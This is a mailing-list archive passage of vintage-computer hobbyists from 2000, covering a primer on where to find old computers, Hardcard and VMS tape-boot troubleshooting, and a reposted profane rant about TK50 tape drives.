can find them, electronics surplus shops are great places to find vintage computers. The prices are generally high at these stores but haggling is sometimes acceptable. It's always best to just ask. Look in your local phone book to find electronics surplus shops in your area. You also might want to try looking for general electronics repair shops, as they may have old computers laying about their shop as well. Colleges/Universities/Schools Schools are great places to find aging computers. Oft times an old machine is tucked away in a closet or basement and forgotten. Many schools have periodic rummage sales to sell off obsolete equipment. Ask the school administration if they have these sales and mark your calendar for the next one. You might also want to try contacting the teachers and professors directly as they may have knowledge of old computers that are no longer in use. The best ones to approach would be in the physical sciences departments: chemistry, physics, biology, etc. Of course, the Computer Science department would also be a good choice. Auctions An auction is sometimes a good place to find vintage computers, especially if it is an auction to liquidate the assets of a company that used computers in its operations. Look in the classified ads of your local paper to find out about upcoming auctions and estate sales in your area. Of course you can also try the online auctions. eBay is, of course, the most popular of the auction sites for finding vintage computers. However, competition is fierce, and as such prices are generally higher than you would pay at other venues. Bargains can be found by performing searches that locate items not listed in the categories specifically for old computers. Scrap/Salvage Yards If you're looking for "Old Iron", your most likely chance of finding it are in scrap yards. The precious metal content of big mainframes unfortunately sends many old computers to a frightful end. Try to find scrap yards in your area and ask the owner if they ever get old computers in. If they do, try to strike up a deal with them. Tell them you will pay them some amount over scrap value (for instance 10%) for any old machines they haul in. This will make it worth their while to work with you. Be forewarned: many scrap yard owners can be mean & nasty, and legends abound of various ones destroying perfectly good vintage equipment of all sorts either because you offered too low a price or just because you look funny. They are notoriously rude and generally just unstable people. Of course these are just generalizations, and your situation may vary. Classified Ads Of course you can always try searching the classified ads of your local paper, as some vintage computers do occasionally show up in the listings. Of course, don't neglect the Usenet for-sale newsgroups. Better yet, check for items listed for sale in the many newsgroups dedicated to specific computer platforms. Let Them Come to You One way to find vintage computers is to let them find you. Try placing an ad in the classifieds section of your local paper. Be sure to specify exactly what you are looking for to avoid getting a flood of false leads. In the very least, include a cut-off year indicating you are not interested in any computers manufactured after that year. Better yet, try posting an ad in one of the many Usenet newsgroups dedicated to older platforms. Or you can try posting an ad in one of your local for-sale newsgroups. The Traveling Nerd If you take frequent business trips to other areas, try scheduling time during your trip to search out old computers. The areas you visit may be fertile, untapped grounds for finding vintage machines. Upon arrival, check the phone book for any of the various sources listed above. You may also want to try to time your trips to coincide with any large flea markets or ham fests in the area and arrange to stay during the weekend so you can attend the event. Once you've acquired vintage computers whilst away from home, you'll soon realize you have to get them home somehow. This is not a problem. Most airlines allow two check-in bags (up to 65 pounds each) and two carry-on bags per passenger. Find a sturdy box and some packaging material and pack your findings, then check them in at the airport as your baggage. You can find boxes and packaging materials at a local mailing center, or at moving vehicle rental locations such as U-Haul. Pack your box well! Luggage is designed to absorb the abuse that the luggage handlers inflict upon it. Boxes are generally not. Use as much packing material as possible and pack it tight. If taking items back with you on the plane is not feasible, you can always just have the stuff shipped back to you at home by using your preferred shipping carrier (i.e. UPS, Fedex, etc.) Where Else? Finally, some other resources to try in your quest for vintage computers include: - Hi-tech companies in your local area, especially ones that have been around for a while and may have accumulated old machines - Local utilities (power, water, telephone) sometimes have surplus sales, and also have rather large dumpsters (skips) that are worth checking occasionally - Other collectors who are retiring from the hobby - Family, friends and neighbors and their family, friends and neighbors...tell everyone you know you collect old computers! Finally, if you live in an area where all of the above resources are either lacking or have consistently turned up nary a floppy drive, it might be worth your while to plan a weekend road trip to a major city nearby. Try to do research in advance to find out where all the thrift stores, flea markets and surplus shops are, and plot out an efficient route. Bring along a sizable vehicle, lots of money, and preferably a companion to keep you occupied during the boring long stretches. Above all, remember this: collecting vintage computers is an exercise in resourcefulness! Happy Collecting! Copyright (c) 2000 Vintage Computer Festival Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From elvey at hal.com Mon May 15 13:52:43 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:51:42 2005 Subject: mechanical analog part In-Reply-To: <391682D8.C7F3232F@home.com> Message-ID: <200005151852.LAA15540@civic.hal.com> Hi Doug You might be interested in: http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=330171722 Dwight From ethan_dicks at yahoo.com Mon May 15 14:05:28 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:51:42 2005 Subject: SCO site has Unix for download Message-ID: <20000515190528.18684.qmail@web612.mail.yahoo.com> --- "Zane H. Healy" wrote: > >SCO has got Unix 5th, 6th and 7th Editions, Mini Unix, System III and 32V > >available on their site for download... > Also, does anyone know if BSD 2.11 is going to be available? I suspect > it's the one that I'd be most interested in. I'm interested in 2.11BSD as well as 2.9BSD - I have ancient 2.9BSD tapes that I converted to container files and ran on my SPARC1 many years ago. What I don't have is the source tape - mine developed a read error, and even in the mid-90s, I wasn't able to extract from it. It's so old now that I'm sure it's hopeless. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From elvey at hal.com Mon May 15 14:08:38 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:51:42 2005 Subject: mechanical analog part In-Reply-To: <200005151852.LAA15540@civic.hal.com> Message-ID: <200005151908.MAA15746@civic.hal.com> Oops I meant that for someone else. Sorry all Dwight From ckaiser at oa.ptloma.edu Mon May 15 15:28:02 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:51:42 2005 Subject: XE GS, encore Message-ID: <200005152028.NAA10896@oa.ptloma.edu> Well, for those who remember, a couple of months back I got an XE GS for $2 but with no power supply, so I couldn't test it. Someone sent me some very helpful information about it, but I lost all my mail in a HD incident a month ago. I would love it if they could resend it :-) Anyway, it powers up, now that I found a 130XE power supply to plug into it, and it goes through all the self-tests 100%. I also found out how to launch it into BASIC, but the problem was that it would not STOP going into BASIC when I powered it off and on again, even if I didn't hold down any buttons on the console! Also, I cannot seem to figure how to launch the second? game that is supposed to be in it -- it comes up with either Missile Command, the Self Test or BASIC. (I got it out of permanent BASIC mode by disconnecting the power, but there's got to be an easier way. And where can I find a GS keyboard?) Anyway, suggestions appreciated. I have precious little experience with Ataris, and even less with Ataris that work. >:-) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- Dalai Lama to hotdog vendor: "Make me one with everything." ---------------- From cmcmanis at mcmanis.com Mon May 15 15:40:14 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:42 2005 Subject: OT: hard drive serial numbers? Message-ID: <4.1.20000515133342.00befb50@mailhost.hq.freegate.com> Random question : Does anyone know how to change the "disk serial number" on a FAT32 partition? (a search of the web came up empty) --Chuck From ard at p850ug1.demon.co.uk Mon May 15 15:35:10 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:43 2005 Subject: Finding Vintage Computers - A Primer In-Reply-To: <200005151748.KAA15198@siconic.com> from "Sellam Ismail" at May 15, 0 11:42:40 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2306 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000515/539bb63a/attachment.ksh From owad at applefritter.com Mon May 15 15:47:41 2000 From: owad at applefritter.com (Tom Owad) Date: Sun Feb 27 18:51:43 2005 Subject: Finding Vintage Computers - A Primer Message-ID: <200005152049.NAA19044@scaup.prod.itd.earthlink.net> >Let Them Come to You > >One way to find vintage computers is to let them find you. >Try placing an ad in the classifieds section of your local >paper. Be sure to specify exactly what you are looking for >to avoid getting a flood of false leads. In the very least, >include a cut-off year indicating you are not interested in >any computers manufactured after that year. Anybody try this? What kind of response did you get? Tom Owad ------------------------------Applefritter------------------------------ Apple Prototypes, Clones, & Hacks - The obscure, unusual, & exceptional. ------------------------------------------ From spc at armigeron.com Mon May 15 15:59:01 2000 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:51:43 2005 Subject: OT: hard drive serial numbers? In-Reply-To: <4.1.20000515133342.00befb50@mailhost.hq.freegate.com> from "Chuck McManis" at May 15, 2000 01:40:14 PM Message-ID: <200005152059.QAA22313@armigeron.com> It was thus said that the Great Chuck McManis once stated: > > Random question : > > Does anyone know how to change the "disk serial number" on a FAT32 partition? > (a search of the web came up empty) I don't know of any commands short of DEBUG.EXE to change the disk serial number, and the information I have is only valid for MS-DOS 5.0 (I have no information past 5.0). If the disk serial number is the same as the volume id number, then that is located at byte offset 41 of the first sector of the partition and is four bytes long. It's immediately followed by the volume label (name). I think I have the offset correct, but the table I'm viewing has inaccurate offsets for some of the fields (but the order is correct). -spc (But be careful in modifying that sector ... ) From red at bears.org Mon May 15 16:26:16 2000 From: red at bears.org (r. 'bear' stricklin) Date: Sun Feb 27 18:51:43 2005 Subject: stupid PC tricks Message-ID: Ok, a year or so ago I rescued a Compaq Portable II. Not exactly in line with my normal interests, but the owner had the right personality and convinced me to do it anyway. One thing she told me she had always wanted to do but never managed to get done was install a hard card in the box, which as she bought it, had only two 5.25" floppy drives. Friday I picked up an 80 MB Plus HardCard at a local PC recycler's. It was sold as-is, but for $1 I figured I'd take a chance. I'm having problems with it, and the problems I'm having don't seem to indicate a real hardware problem, but I'm not too familiar with hardcards: * The Compaq setup utility recognizes it as a "type 11" disk, but conveniently neglects to tell me anything about what this actually means. Thinking of it now, I should RTFM and see if this information is listed in any of the dead-trees docs I got with the machine. * PC-DOS 3.30 fdisk sees a 77 MB disk with a single non-dos partition, which seems correct, as at 80 MB it wouldn't be FAT12. * PC-DOS 3.30 fdisk hangs when trying to write any partition information to the disk. * MS-DOS 4.01 recognizes the disk and I can get a directory listing of c:\ * MS-DOS 4.01 fdisk hangs when trying to write any partition information to the disk. Where should I be looking and what should I be trying to make this work? ok r. From rutledge at cx47646-a.phnx1.az.home.com Mon May 15 16:41:01 2000 From: rutledge at cx47646-a.phnx1.az.home.com (Shawn T. Rutledge) Date: Sun Feb 27 18:51:43 2005 Subject: stupid PC tricks In-Reply-To: ; from r. 'bear' stricklin on Mon, May 15, 2000 at 05:26:16PM -0400 References: Message-ID: <20000515144101.E594@electron.quantum.int> On Mon, May 15, 2000 at 05:26:16PM -0400, r. 'bear' stricklin wrote: > * The Compaq setup utility recognizes it as a "type 11" disk, but > conveniently neglects to tell me anything about what this actually > means. Thinking of it now, I should RTFM and see if this information > is listed in any of the dead-trees docs I got with the machine. Or on any other PC that has a real BIOS setup menu, select type 11 as an installed disk and see what it says... usually it has a table with all the parameters (heads, cylinders, sectors per cylinder, landing zone etc). -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://www.bigfoot.com/~ecloud kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ Get money for spare CPU cycles at http://www.ProcessTree.com/?sponsor=5903 From foo at siconic.com Mon May 15 15:43:20 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:43 2005 Subject: Finding Vintage Computers - A Primer In-Reply-To: <200005152049.NAA19044@scaup.prod.itd.earthlink.net> Message-ID: On Mon, 15 May 2000, Tom Owad wrote: > >Let Them Come to You > > > >One way to find vintage computers is to let them find you. > >Try placing an ad in the classifieds section of your local > >paper. Be sure to specify exactly what you are looking for > >to avoid getting a flood of false leads. In the very least, > >include a cut-off year indicating you are not interested in > >any computers manufactured after that year. > > Anybody try this? What kind of response did you get? Not a newspaper ad, but posting a Usenet ad was quite possibly the best thing I could've ever done. I posted several ads in the local for sale newsgroups periodically over the course of several months and turned up all sorts of good stuff. From retro at retrobits.com Mon May 15 16:46:25 2000 From: retro at retrobits.com (Earl Evans) Date: Sun Feb 27 18:51:43 2005 Subject: Finding Vintage Computers - A Primer References: <200005151748.KAA15198@siconic.com> Message-ID: <002601bfbeb7$04ed33d0$0201640a@colossus> Looks great Sellam! You've got roughly the same sources that I listed in part II of my article on collecting: http://www.retrobits.com/col-article2.html You also have some additional information, such as some pricing hints, advice on haggling, etc. If you'd like, once you get this primer in it's final form, I'd be happy to post it on retrobits.com (or a link to it, if you have it on your web site). Regards, - Earl ----- Original Message ----- From: "Sellam Ismail" To: Sent: Monday, May 15, 2000 11:42 AM Subject: Finding Vintage Computers - A Primer > Comments please! > > > Finding Vintage Computers - A Primer > by Sellam Ismail > sellam@vintage.org > http://www.vintage.org > 1st Edition - May 15, 2000 > > > This primer is intended to give you ideas that will help you > find vintage computers in and around your general vicinity. > It was written to aid the many frustrated collectors who > believe they have exhausted their local sources and still > cannot find any old computers. Well, I assure you this is > not the case. Old computers can be found in a lot of places > that you did not consider. > > Keep these principles in mind when determining what to pay > for old computers: > > * some people are just happy to have their old machine > go to a new home > * the bigger the machine, the less money it generally > sells for > * for some large machine, people are sometimes willing > to pay you to haul it away > > > Flea Markets/Ham Fests/Car Boot Sales > > We begin with the most obvious place to find vintage > computers, the Flea Market/Ham Fest/Car Boot Sale (I will > refer to them as "flea markets"). Flea markets can occur > with frequent regularity or just occasionally, from several > times a week to perhaps once a year. Usually they are > comprised of people trying to get rid of their old junk. > > At the more general flea market, finding old computers is > usually a challenge. Most of what you will find is the sort > of junk that you already have stored away in your garage, > basement, attic, closet, etc. But occasionally you will > find old computers, and the advantage here is that most > collectors won't bother with these sorts of flea markets, so > the competition is low. > > You will be more likely to find vintage computers at Ham > Fests as most radio guys (and gals) are also computer users. > Many Hams were early adopters of microcomputers during the > mid- to late-70's and as such are likely targets for finding > some of the more interesting early micros such as S-100 bus > machines as well as mini-computers. > > You can generally expect to pay prices in the range of $5 - > $50 for most vintage computers that show up at these events. > Occasionally stuff can be had for free, since the seller > just wants to get rid of it, or you can wait until after the > event is over and head over to the trash bins where you will > find all the stuff the sellers didn't want to take back home > with them. > > Haggling at flea markets is mandatory. Never pay more for > an old computer than you have to. Learning how to haggle > properly would take a whole other primer. The way to get > good at it is to just go out and do it. > > If you don't find any vintage computers at Ham Fests, don't > get discouraged. The fact is they just haven't found you. > It might be well worth your while to rent a space at the > next event and put up a table of your own. Display signs > indicating you are interested in old computers. A lot of > the people attending the ham fests as buyers also have old > computers that they'd like to get rid of and you will meet > many people this way. The price of a space is usually not > very high, perhaps from $10-$50. > > To find Flea Markets/Ham Fests/Car Boot sales in your area, > look in the classified ads section of your local paper or in > the small classified periodicals, or check the upcoming > events listings for your local fairgrounds as a lot of times > those are venues for large flea markets. Better yet, hop on > over to http://www.openair.org/ which is an excellent online > resource for finding flea markets and ham fests in your area > worldwide. > > > Thrift/Charity Shops > > Another good place to find vintage computers is at your > local Thrift (or Charity) store. Almost every city has at > least one. The bigger cities will have many. The most > common ones (in the United States anyway) are The Salvation > Army, Goodwill and St. Vincent de Paul. In my experience, > these are NOT good stores to find old computers. Usually > they take all incoming computers and sell them at special > sales. Or, if old computers do make it into the store, the > pieces to it are usually not all together, or in some cases > the parts to one computer may have been scattered across > multiple stores. > > The better thrift stores to look in for old computers are > the stand-alone stores or the for-profit chains. They > usually won't sort through and separate the items and so > you're more likely to find old computers at these. > > Prices vary from ridiculously cheap to just plain > ridiculous. Some stores have no concept of a computer being > obsolete. To them, a computer is an expensive, fancy device > that is worth lots of money, and they price them > accordingly. Others don't differentiate between an old > computer and an old toaster, and will sell computer items at > the same prices they sell the rest of their appliances, in > many cases for only a few dollars or less. Some stores try > to price computer items separately but can't tell the > difference between modern day PC components and old computer > parts, and as a result you'll see vintage machines selling > for the same price as the more modern machines. > > Some thrift stores will slash the price of their items for > every week that it does not sell. If something is priced > too high you might wait until the following week and buy it > at half off! Ask the store what their policy is. While > you're at it, don't be afraid to make an offer on an item > you are interested in. Haggling at thrift stores is OK. > > To find thrift stores, look in your local phone book, or > check the web. Many of the larger institutions now have > websites that will direct you to the nearest store. Search > for them online. > > > Electronics Surplus Shops > > If you can find them, electronics surplus shops are great > places to find vintage computers. The prices are generally > high at these stores but haggling is sometimes acceptable. > It's always best to just ask. > > Look in your local phone book to find electronics surplus > shops in your area. You also might want to try looking for > general electronics repair shops, as they may have old > computers laying about their shop as well. > > > Colleges/Universities/Schools > > Schools are great places to find aging computers. Oft times > an old machine is tucked away in a closet or basement and > forgotten. Many schools have periodic rummage sales to sell > off obsolete equipment. Ask the school administration if > they have these sales and mark your calendar for the next > one. > > You might also want to try contacting the teachers and > professors directly as they may have knowledge of old > computers that are no longer in use. The best ones to > approach would be in the physical sciences departments: > chemistry, physics, biology, etc. Of course, the Computer > Science department would also be a good choice. > > > Auctions > > An auction is sometimes a good place to find vintage > computers, especially if it is an auction to liquidate the > assets of a company that used computers in its operations. > Look in the classified ads of your local paper to find out > about upcoming auctions and estate sales in your area. > > Of course you can also try the online auctions. eBay is, of > course, the most popular of the auction sites for finding > vintage computers. However, competition is fierce, and as > such prices are generally higher than you would pay at other > venues. Bargains can be found by performing searches that > locate items not listed in the categories specifically for > old computers. > > > Scrap/Salvage Yards > > If you're looking for "Old Iron", your most likely chance of > finding it are in scrap yards. The precious metal content > of big mainframes unfortunately sends many old computers to > a frightful end. Try to find scrap yards in your area and > ask the owner if they ever get old computers in. If they > do, try to strike up a deal with them. Tell them you will > pay them some amount over scrap value (for instance 10%) for > any old machines they haul in. This will make it worth > their while to work with you. Be forewarned: many scrap > yard owners can be mean & nasty, and legends abound of > various ones destroying perfectly good vintage equipment of > all sorts either because you offered too low a price or just > because you look funny. They are notoriously rude and > generally just unstable people. Of course these are just > generalizations, and your situation may vary. > > > Classified Ads > > Of course you can always try searching the classified ads of > your local paper, as some vintage computers do occasionally > show up in the listings. Of course, don't neglect the > Usenet for-sale newsgroups. Better yet, check for items > listed for sale in the many newsgroups dedicated to specific > computer platforms. > > > Let Them Come to You > > One way to find vintage computers is to let them find you. > Try placing an ad in the classifieds section of your local > paper. Be sure to specify exactly what you are looking for > to avoid getting a flood of false leads. In the very least, > include a cut-off year indicating you are not interested in > any computers manufactured after that year. > > Better yet, try posting an ad in one of the many Usenet > newsgroups dedicated to older platforms. Or you can try > posting an ad in one of your local for-sale newsgroups. > > > The Traveling Nerd > > If you take frequent business trips to other areas, try > scheduling time during your trip to search out old > computers. The areas you visit may be fertile, untapped > grounds for finding vintage machines. Upon arrival, check > the phone book for any of the various sources listed above. > You may also want to try to time your trips to coincide with > any large flea markets or ham fests in the area and arrange > to stay during the weekend so you can attend the event. > > Once you've acquired vintage computers whilst away from > home, you'll soon realize you have to get them home somehow. > This is not a problem. Most airlines allow two check-in > bags (up to 65 pounds each) and two carry-on bags per > passenger. Find a sturdy box and some packaging material > and pack your findings, then check them in at the airport as > your baggage. You can find boxes and packaging materials at > a local mailing center, or at moving vehicle rental > locations such as U-Haul. Pack your box well! Luggage is > designed to absorb the abuse that the luggage handlers > inflict upon it. Boxes are generally not. Use as much > packing material as possible and pack it tight. > > If taking items back with you on the plane is not feasible, > you can always just have the stuff shipped back to you at > home by using your preferred shipping carrier (i.e. UPS, > Fedex, etc.) > > > Where Else? > > Finally, some other resources to try in your quest for > vintage computers include: > > - Hi-tech companies in your local area, especially ones that > have been around for a while and may have accumulated old > machines > > - Local utilities (power, water, telephone) sometimes have > surplus sales, and also have rather large dumpsters (skips) > that are worth checking occasionally > > - Other collectors who are retiring from the hobby > > - Family, friends and neighbors and their family, friends > and neighbors...tell everyone you know you collect old > computers! > > Finally, if you live in an area where all of the above > resources are either lacking or have consistently turned up > nary a floppy drive, it might be worth your while to plan a > weekend road trip to a major city nearby. Try to do > research in advance to find out where all the thrift stores, > flea markets and surplus shops are, and plot out an > efficient route. Bring along a sizable vehicle, lots of > money, and preferably a companion to keep you occupied > during the boring long stretches. > > Above all, remember this: collecting vintage computers is an > exercise in resourcefulness! > > Happy Collecting! > > > Copyright (c) 2000 Vintage Computer Festival > > Sellam International Man of Intrigue and Danger > -------------------------------------------------------------------------- ----- > Looking for a six in a pile of nines... > > Coming soon: VCF 4.0! > VCF East: Planning in Progress > See http://www.vintage.org for details! > From sipke at wxs.nl Mon May 15 19:05:30 2000 From: sipke at wxs.nl (Sipke de Wal) Date: Sun Feb 27 18:51:43 2005 Subject: Is this for real -- a new C64/128 References: <003201bfbe87$96d272e0$0400c0a8@winbook> Message-ID: <002901bfbeca$73416500$030101ac@boll.casema.net> The Comodore Trademark has been sold and resold in Holland in the last six years as far as I can tell both the Tulip and the Escom company have at least been holder of the trade mark and at least one of them payed no more than Fl 100,- (=$40,-) I dont know if this applied only to a dutch (benelux) trademark or the worldwide trademark. If the comodore company once again exists it is certainly not the same company that gave us the VIC & the C64. My guess is that the trademark was for grabs once more and somebody is trying to beat a few more bucks out of it. Branding a run off the mill clone with the comodore logo and supplying a couple of emulators and a special keyboard with it, truely sounds like a hype in the making. It'll blow over pretty soon. Sipke de Wal > > The site looks raw enough to dissuade me from believing anything will come > > out of this. And how is it going to benefit with having a 6502 onboard as > > claimed if there will also be a 200-500Mhz processor, and everything else > > indicates emulation? It's obvious this will simply be a PC, and putting > > together a machine with the specs this one will supposedly have requires > > some expensive engineering. > > > > Look lower on their page, where they advertise the C= PC. I think that > > tells us what they truly are trying to sell. The "Next Generation C64" is > > just hype to suck you in. From cmcmanis at mcmanis.com Mon May 15 18:51:10 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:43 2005 Subject: Booting VMS 5.5 from tape? Message-ID: <4.1.20000515164829.046c3f00@mailhost.hq.freegate.com> I finally found my VMS 5.5 TK50's today and thought I would try to install VMS on my MicroVAX II. The tape loads in the TK50 just fine, but after typing B MUA0: It reads and reads and reads ... Now I know TK50's are _really_ slow to boot (NetBSD takes about 5 minutes) but is this the only thing going on? There isn't some boot flag I need to give the tape to insure that it does the right thing is there? I keep expecting to see the standalone backup prompt and I keep right on waiting.... --Chuck From donm at cts.com Mon May 15 18:50:18 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:51:43 2005 Subject: stupid PC tricks In-Reply-To: Message-ID: On Mon, 15 May 2000, r. 'bear' stricklin wrote: > > Ok, a year or so ago I rescued a Compaq Portable II. Not exactly in line > with my normal interests, but the owner had the right personality and > convinced me to do it anyway. > > One thing she told me she had always wanted to do but never managed to get > done was install a hard card in the box, which as she bought it, had only > two 5.25" floppy drives. > > Friday I picked up an 80 MB Plus HardCard at a local PC recycler's. It was > sold as-is, but for $1 I figured I'd take a chance. > > I'm having problems with it, and the problems I'm having don't seem to > indicate a real hardware problem, but I'm not too familiar with hardcards: > > * The Compaq setup utility recognizes it as a "type 11" disk, but > conveniently neglects to tell me anything about what this actually > means. Thinking of it now, I should RTFM and see if this information > is listed in any of the dead-trees docs I got with the machine. My experience with hardcards, albeit somewhat limited, is that they should not be setup in CMOS. Those that I have seen and worked with have a controller with its own BIOS and are accessible or will boot with no further action required. I have one now of 127mb that gets lazy occasionally and requires booting from floppy and accessing for DIR. Usually following that it becomes bootable. The Hardcard has an accessible DIP switch on the top that allows setting of some parameters, e.g. IRQ and BIOS address. I append some information that I d/l'd from them that may be helpful. - don [INLINE] [INLINE] Product Name: Hardcard IIEZ Serial Number Codes: GDF, GDG, GDH and GDJ Formatted Capacity: HC EZ42 42MB HC EZ85 85MB HC EZ127 127MB HC EZ170 170MB HC EZ240 240MB Average Access Time: From 19ms to 16ms. Interface: ST506; BIOS driven as IDE Driver Needed: ATDOSHC.SYS Must be installed in CONFIG.SYS as: DEVICE=ATDOSHC.SYS In order for the hardcard to work in a given system, the user must assign a unique IRQ and a BIOS address. The default for this card is IRQ 11, BIOS address C8000-C9FFF. SW8 is reserved for IRQ 14 (IDE MODE). Due to a bus timing issue, the hardcards are unable to work in most pentium and DX4 systems. Though they will work under Windows 95, they do so in `DOS Compatibility mode'. No enhanced mode driver exists at this time and there are no plans to produce one. If repairs are needed on this unit, please contact: * PCS * tel: (800) 653-3475 * tel: (408) 263-4043 * fax: (408) 263-4097 IRQ ____________________________________________________ ____________________________________________________ IRQ SW5 SW6 SW7 SW8 10 ON OFF OFF OFF 11 OFF* ON* OFF* OFF* 12 OFF OFF ON OFF 14 OFF OFF OFF ON *These are default settings _________________________________________________________________ ADDRESS SELECTION ____________________________________________________ ____________________________________________________ SW1 SW2 SW3 SW4 BIOS ADDRESS I/O ADDRESS DRIVE SELECT ON* ON* ON* ON* C8000-C9FFF* 170-177, 376-377 0 ON ON ON OFF CA000-CBFFF 320-327, 32E-32F 0 ON ON OFF ON CC000-CDFFF 170-177, 376-377 1 ON ON OFF OFF CE000-CFFFF 320-327, 32E-32F 1 ON OFF ON ON D0000-D1FFF 170-177, 376-377 0 ON OFF ON OFF D2000-D3FFF 320-327, 32E-32F 0 ON OFF OFF ON D4000-D5FFF 170-177, 376-377 1 ON OFF OFF OFF D6000-D7FFF 320-327, 32E-32F 1 *These are default settings. _________________________________________________________________ [INLINE] From cmcmanis at mcmanis.com Mon May 15 18:58:09 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:43 2005 Subject: Booting VMS 5.5 from tape? In-Reply-To: <4.1.20000515164829.046c3f00@mailhost.hq.freegate.com> Message-ID: <4.1.20000515165734.044922c0@mailhost.hq.freegate.com> Additional info. It eventually stopped with a "FILESTRUCT?" error. Hmmm, perhaps the tapes are bad. --Chuck At 04:51 PM 5/15/00 -0700, you wrote: >I finally found my VMS 5.5 TK50's today and thought I would try to install >VMS on my MicroVAX II. The tape loads in the TK50 just fine, but after typing >B MUA0: >It reads and reads and reads ... From red at bears.org Mon May 15 18:59:53 2000 From: red at bears.org (r. 'bear' stricklin) Date: Sun Feb 27 18:51:43 2005 Subject: Booting VMS 5.5 from tape? In-Reply-To: <4.1.20000515164829.046c3f00@mailhost.hq.freegate.com> Message-ID: On Mon, 15 May 2000, Chuck McManis wrote: > I finally found my VMS 5.5 TK50's today and thought I would try to install > VMS on my MicroVAX II. The tape loads in the TK50 just fine, but after typing > B MUA0: > It reads and reads and reads ... Bwahahah.. forgive the repost, but it had to be done. Just as a warning, though, the article contains some strong language which may cause your wallpaper to peel just a little. ok r. From: mabbas@staff.uiuc.edu (Majdi Abbas) Newsgroups: alt.sysadmin.recovery Subject: Exabyte whiners and real tape drives (tape drive dick length) Date: 7 May 1997 00:09:35 GMT Organization: University of Illinois at Urbana Lines: 161 Approved: tk50@godless.org Message-ID: Reply-To: mabbas@uiuc.edu NNTP-Posting-Host: ux1.cso.uiuc.edu Summary: TK50s blow. Keywords: TK50 masochism X-Newsreader: slrn (0.9.2.1 BETA UNIX) Status: RO X-Status: A So here I am, sitting with *bootable* install media for my VAX[1]. The catch: It's on TK-50 tape. *One* TK-50 tape. Which means I've got one shot, and only a 33% chance to make it close enough to even get that shot. That's on a good day. Today is a Monday. What follows is *not* useful information. If you have one of these, or have to work with one of these, you're too far gone to be recovering, and this isn't going to help you any. May the God of DEC have mercy on your soul. Oh, and before I get going, those of you who whine about Exabyte drives not ejecting tapes have no concept of a TK50. TK50's *do not* eject tapes. You have to arm-wrestle the drive for the tape most of the time, and even if you're lucky it's a manual eject[2]. Before you can eject the tape, the VAX has to think it's done with the tape. This is a pretty simple concept, if it worked. The TK50s were not in production very long, and for good reason. Rumor has it their replacements are better.[3] I'm going to describe the operation of a TK-50, ignoring some of the things that go along with booting a VAX. If you know them, I'm sorry, if you don't, well, consider yourself extremely lucky. 1) Wait for green light. 2) Pull drive flap up. 3) Stick tape in, right side first or it won't fit. 4) Coerce tape into fitting into the drive. 5) Shove it all the way back 6) Push drive flap down. You may need a hammer. 7) Press Big Red Button. Green light will go off, red light will start flashing, then go solid. 8) Tape drive begins reading tape. Here's where we go off onto a tangent for a little bit, although it is related. TK-50 (drive;cartridge;whole shebang) were designed by complete absolute fscking lusers. The cartridges are nice and small. This is because they are just a reel of tape. The other reel is inside the drive itself. When it starts to read a tape, it snags the beginning of the tape using a leader that whips around the spindle of the inside reel, and drags the tape in past the read and erase heads[4]. 9) Drive reads tape, system boots, all is good. 10) You press the big red button again, wait 45 minutes for the thing to rewind, then it stops and the green light goes on, it moves a servo that allows you to move the drive flap again, then you are permitted to remove the tape. No eject mechanisim whatsoever. Now, on with the show. So here I am, booting the VAX. Things are going good, we get past the 5 minute POST, and the drive starts *reading* the tape. So the media is good and I'm actually thinking I have a chance yet. Then the gods decide that they've had enough fun at my expense, and it's time to get serious. Loading system software. 2.. ?4B CTRLERR, MUA0 ?06 HLT INST PC = 00000E0A Failure. >>> My reaction: "Shit." VAX's reaction: "Yadda yadda yadda *WHOMP* *SCREEEECCCH* *thwap*" "THWAPthwapthwapthwapthwapthwapthwapthwapthwap" [continues] My reaction: "MotherfuckingasslickingpieceofshitasspirateDECtapedrive." Actually, my reaction was much more lengthy and probably much more obscene, but in the afterglow right now that's all I can remember. Knowing that the tape is hopelessly fucked and there went my last chance for a while, I don't even bother with the normal procedures. This is a TK-50. One must adapt constantly or get sucked in. I quickly wrestle the vax for the tape, remove it, and all seems good. But I know what's coming. A few hundred feet of half-inch tape, all spooled into the drives internals. I spend the next half hour removing tape from the drive, clean it up, check everything out, decide to try out this unlabeled TK50 I have. Nope, won't boot. Okay VAX, rewind tape. [Pause for one hour] VAX, surely you must be done with it now. VAX: Nope, it's still in there. I swear. Me: BULLSHIT. I can hear you flapping around empty. You're flapping around so much that the VAX is about ready to take off and my hair is being blown back. Me: Hits the power switch, pops the thing open, pulls the drive out. Grabs toolkit and commences disassembly of the drive. Sure enough, it's done. But I can't get the VAX to let go of the tape until it realizes that it's done, which isn't going to happen. Powercycling et al will not make it realize that it's done, it has to feel like relinquishing it's dinner. So, I'm now dissassembling the TK-50. Sure enough, the magic little leader that feeds these tapes in is broken. Surprise surprise. Tape looks okay tho. It's a couple of hours later, and I have one 